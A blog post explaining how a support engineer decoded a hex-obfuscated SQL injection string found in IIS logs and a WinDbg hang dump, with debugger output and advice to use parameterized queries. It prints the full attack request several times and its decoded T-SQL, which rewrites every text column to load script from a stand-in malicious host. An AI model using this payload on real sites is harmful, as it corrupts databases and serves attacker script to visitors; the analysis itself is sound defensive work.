How to Decipher Strings Originating from SQL Injection Attacks

This blog article was written by Ayax Vargas, a friend and co-worker from my team. Ayax is very skilled in development/debugging and SQL Server. A few days ago I was reading one analysis done by Ayax and I was impressed by how he translated what looked like an encrypted message to SQL commands! Actually I was so impressed that I asked him to write a blog article about it and share it with my readers. J

I hope to create a script for automating this technique as soon as possible, so you won’t need to worry about memorizing the commands, including the SQL command.

Readers, this is cool stuff and I hope you enjoy it!

Ayax, thank you for sharing your technique, dude. J

It would appear that lately many public facing websites have received tons of extra traffic that doesn’t appear to be legitimate. In some of the cases, this results in the databases being corrupted with scripts pointing to malicious sites. So how do we tell if those attacks are coming in and how do we “decrypt” those binary strings that accompany the attacker’s requests?

In a case worked recently, the strings could be obtained from two locations: the IIS logs, and depending on the information at hand, we could get that from a hang dump.

INSPECTING THE IIS LOGS

First, we’ll see patterns where the suspicious requests are mixed in with legitimate ones. For simplification purposes, I have a malicious request following a legitimate request.

#Software: Microsoft Internet Information Services 6.0

#Version: 1.0

#Date: 2008-04-17 05:00:48

#Fields: date time s-sitename s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-bytes time-taken

2008-04-17 05:00:50 W3SVC1 192.168.1.01 POST /mypage.asmx param1=myparam - 80 - 192.168.1.100 Mozilla/4.0+(compatible;+MSIE+6.0;+MS+Web+Services+Client+Protocol+2.0.50727.1433) - 200 699 15

2008-08-01 05:00:00 W3SVC1 192.168.1.01 POST /mypage.aspx param1=myparam&param2=123';DECLARE%20@S%20CHAR(4000);SET%

20@S=CAST(0x4445434C415245204054207661726368617228323535292

C40432076617263686172283430303029204445434C415245205461626C6

55F437572736F7220435552534F5220464F522073656C65637420612E6E61

6D652C622E6E616D652066726F6D207379736F626A6563747320612C7379

73636F6C756D6E73206220776865726520612E69643D622E696420616E642

0612E78747970653D27752720616E642028622E78747970653D3939206F722

0622E78747970653D3335206F7220622E78747970653D323331206F7220622

E78747970653D31363729204F50454E205461626C655F437572736F7220464

5544348204E4558542046524F4D20205461626C655F437572736F7220494E54

4F2040542C4043205748494C4528404046455443485F5354415455533D30292

0424547494E20657865632827757064617465205B272B40542B275D20736574

205B272B40432B275D3D2727223E3C2F7469746C653E3C73637269707420737

2633D22687474703A2F2F736F6D656D616C6963696F7573736974652F637372

73732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B27272B4043

2B275D20776865726520272B40432B27206E6F74206C696B6520272725223E

3C2F7469746C653E3C736372697074207372633D22687474703A2F2F736F6D

656D616C6963696F7573736974652F63737273732F772E6A73223E3C2F7363

726970743E3C212D2D272727294645544348204E4558542046524F4D202054

61626C655F437572736F7220494E544F2040542C404320454E4420434C4F534

5205461626C655F437572736F72204445414C4C4F43415445205461626C655F

437572736F72%20AS%20CHAR(4000));EXEC(@S); - 80 - 192.168.1.100 Mozilla/4.0+(compatible;+MSIE+6.0;+MS+Web+Services+Client+Protocol+2.0.50727.1433) - 200 1658 2484

In this particular case, we see the first request to mypage.aspx followed by another request that is appending a parameter with the large hex number that looks like an encrypted or garbled message.

ANALYZING THE HANG DUMP

We also saw something similar analyzing a hang dump when the performance of the site was being diagnosed. In this case we started by looking at the System.Web.HttpRequest objects.

0:000> !dumpheap -type System.Web.HttpRequest

------------------------------

Heap 0

 Address MT Size

0279bdc8 663aa0a0 172

02ab1530 663aa0a0 172

...

083eedf0 663aa0a0 172

083f5650 663aa0a0 172

08443e98 663aa0a0 172

084466e0 663aa0a0 172

------------------------------

total 75 objects

Statistics:

      MT Count TotalSize Class Name

663aa0a0 75 30100 System.Web.HttpRequest

Total 75 objects

Then we take any of those objects and inspect it.

0:000> !do 084466e0

Name: System.Web.HttpRequest

MethodTable: 663aa0a0

EEClass: 663aa030

Size: 172(0xac) bytes

 (C:\WINDOWS\assembly\GAC_32\System.Web\2.0.0.0__b03f5f7f11d50a3a\System.Web.dll)

Fields:

      MT Field Offset Type VT Attr Value Name

663add1c 400106d 4 ...HttpWorkerRequest 0 instance 08445a64 _wr

663a9dac 400106e 8 ...m.Web.HttpContext 0 instance 08446624 _context

790fd8c4 400106f c System.String 0 instance 08445c64 _httpMethod

663e471c 4001070 98 System.Int32 1 instance 5 _httpVerb

790fd8c4 4001071 10 System.String 0 instance 00000000 _requestType

6639b220 4001072 14 ...m.Web.VirtualPath 0 instance 08447a70 _path

790fd8c4 4001073 18 System.String 0 instance 00000000 _rewrittenUrl

7910be50 4001074 a0 System.Boolean 1 instance 0 _computePathInfo

6639b220 4001075 1c ...m.Web.VirtualPath 0 instance 08446864 _filePath

6639b220 4001076 20 ...m.Web.VirtualPath 0 instance 00000000 _currentExecutionFilePath

6639b220 4001077 24 ...m.Web.VirtualPath 0 instance 00000000 _pathInfo

790fd8c4 4001078 28 System.String 0 instance 084479ec _queryStringText

7910be50 4001079 a1 System.Boolean 1 instance 0 _queryStringOverriden

7912dae8 400107a 2c System.Byte[] 0 instance 084479a8 _queryStringBytes

790fd8c4 400107b 30 System.String 0 instance 08445cdc _pathTranslated

790fd8c4 400107c 34 System.String 0 instance 08446d5c _contentType

79102290 400107d 9c System.Int32 1 instance 39680 _contentLength

790fd8c4 400107e 38 System.String 0 instance 00000000 _clientTarget

7912d8f8 400107f 3c System.Object[] 0 instance 00000000 _acceptTypes

7912d8f8 4001080 40 System.Object[] 0 instance 00000000 _userLanguages

663b2f48 4001081 44 ...owserCapabilities 0 instance 02784fac _browsercaps

7a757bf0 4001082 48 System.Uri 0 instance 08447a84 _url

7a757bf0 4001083 4c System.Uri 0 instance 08447bd8 _referrer

663e1a30 4001084 50 ...b.HttpInputStream 0 instance 00000000 _inputStream

663e8be0 4001085 54 ...ClientCertificate 0 instance 00000000 _clientCertificate

...

It’s going to have a few more properties, but let’s focus on the _url member, which is of type System.Uri:

0:000> !do 08447a84

Name: System.Uri

MethodTable: 7a757bf0

EEClass: 7a757a3c

Size: 40(0x28) bytes

 (C:\WINDOWS\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dll)

Fields:

      MT Field Offset Type VT Attr Value Name

790fd8c4 4001b51 c System.String 0 instance 08447aac m_String

790fd8c4 4001b52 10 System.String 0 instance 00000000 m_originalUnicodeString

7a757f34 4001b53 14 System.UriParser 0 instance 0260ba3c m_Syntax

...

Likewise, we ignore the rest of the properties and we get the m_String:

0:000> !do 08447aac

Name: System.String

MethodTable: 790fd8c4

EEClass: 790fd824

Size: 254(0xfe) bytes

 (C:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.dll)

String: /mypage.aspx param1=myparam&param2=123';DECLARE%20@S%20CHAR(4000);SET%

20@S=CAST(0x4445434C415245204054207661726368617228323535292

C40432076617263686172283430303029204445434C415245205461626C6

55F437572736F7220435552534F5220464F522073656C65637420612E6E61

6D652C622E6E616D652066726F6D207379736F626A6563747320612C7379

73636F6C756D6E73206220776865726520612E69643D622E696420616E64

20612E78747970653D27752720616E642028622E78747970653D3939206F

7220622E78747970653D3335206F7220622E78747970653D323331206F72

20622E78747970653D31363729204F50454E205461626C655F437572736F7

2204645544348204E4558542046524F4D20205461626C655F437572736F72

20494E544F2040542C4043205748494C4528404046455443485F535441545

5533D302920424547494E20657865632827757064617465205B272B40542B

275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C73

6372697074207372633D22687474703A2F2F736F6D656D616C6963696F757

3736974652F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2

7272B5B27272B40432B275D20776865726520272B40432B27206E6F74206C

696B6520272725223E3C2F7469746C653E3C736372697074207372633D226

87474703A2F2F736F6D656D616C6963696F7573736974652F63737273732F7

72E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4

558542046524F4D20205461626C655F437572736F7220494E544F2040542C

404320454E4420434C4F5345205461626C655F437572736F72204445414C4

C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));

EXEC(@S);

We could get the strings either way. Obviously the process of inspecting the numerous objects could get tedious without a helper script or an extension that could extract the relevant properties to us. If your application is running .Net 1.1, you can use the !aspxpages command from the SOS extension, but this is not implemented in 2.0.

In our case we were trying to look for threads doing any work at a given point in time and that’s how we ran into these mysterious strings.

TRANSLATING THE BINARY DATA

So now that we have the string, how do we go about seeing its real contents?

What I did is to first replace the URL encoding to get an actual statement I could consume. I started with this:

/mypage.aspx param1=myparam&param2=123';DECLARE%20@S%20CHAR(4000);SET%

20@S=CAST(0x4445434C415245204054207661726368617228323535292

C40432076617263686172283430303029204445434C415245205461626C6

55F437572736F7220435552534F5220464F522073656C65637420612E6E61

6D652C622E6E616D652066726F6D207379736F626A6563747320612C7379

73636F6C756D6E73206220776865726520612E69643D622E696420616E64

20612E78747970653D27752720616E642028622E78747970653D3939206F

7220622E78747970653D3335206F7220622E78747970653D323331206F72

20622E78747970653D31363729204F50454E205461626C655F437572736F7

2204645544348204E4558542046524F4D20205461626C655F437572736F72

20494E544F2040542C4043205748494C4528404046455443485F535441545

5533D302920424547494E20657865632827757064617465205B272B40542B

275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C73

6372697074207372633D22687474703A2F2F736F6D656D616C6963696F757

3736974652F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2

7272B5B27272B40432B275D20776865726520272B40432B27206E6F74206C

696B6520272725223E3C2F7469746C653E3C736372697074207372633D226

87474703A2F2F736F6D656D616C6963696F7573736974652F63737273732F7

72E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4

558542046524F4D20205461626C655F437572736F7220494E544F2040542C

404320454E4420434C4F5345205461626C655F437572736F72204445414C4

C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));

EXEC(@S);

And ended up with this:

DECLARE @S CHAR(4000);

SET @S=CAST(0x4445434C415245204054207661726368617228323535292

C40432076617263686172283430303029204445434C415245205461626C65

5F437572736F7220435552534F5220464F522073656C65637420612E6E616

D652C622E6E616D652066726F6D207379736F626A6563747320612C73797

3636F6C756D6E73206220776865726520612E69643D622E696420616E642

0612E78747970653D27752720616E642028622E78747970653D3939206F7

220622E78747970653D3335206F7220622E78747970653D323331206F722

0622E78747970653D31363729204F50454E205461626C655F437572736F7

2204645544348204E4558542046524F4D20205461626C655F437572736F7

220494E544F2040542C4043205748494C4528404046455443485F5354415

455533D302920424547494E20657865632827757064617465205B272B405

42B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3

C736372697074207372633D22687474703A2F2F736F6D656D616C6963696F

7573736974652F63737273732F772E6A73223E3C2F7363726970743E3C212D

2D27272B5B27272B40432B275D20776865726520272B40432B27206E6F742

06C696B6520272725223E3C2F7469746C653E3C736372697074207372633D

22687474703A2F2F736F6D656D616C6963696F7573736974652F637372737

32F772E6A73223E3C2F7363726970743E3C212D2D27272729464554434820

4E4558542046524F4D20205461626C655F437572736F7220494E544F204054

2C404320454E4420434C4F5345205461626C655F437572736F72204445414C

4C4F43415445205461626C655F437572736F72 AS CHAR(4000));

PRINT @S;

Note that at the end, I changed the EXEC to PRINT, so I don’t actually run the statement that could potentially harm my system. So now, I take this batch and run it in a local instance of SQL Server and this is what I see:

DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="https://somemalicioussite/csrss/w.js"></script><!--''+[''+@C+'] where '+@C+' not like ''%"></title><script src="https://somemalicioussite/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

The statement is allocating a cursor to go over my tables and replace legitimate data with HTML markup that is running a script from an overseas site, such as script src="https://somemalicioussite/csrss/w.js"

There are plentiful articles that discuss how to avoid SQL injection attacks, the main preventive measure being to avoid concatenating strings and always using the ADO.Net (or ADO if it’s a legacy application) Command and Parameter objects. In the case at hand, the attack was unsuccessful because the application was populating the Parameters collection of the Command object and validating user input at the web service level. Other sites haven’t been as robust and the data actually got into their databases, even causing their sites to be marked as suspect by search engines.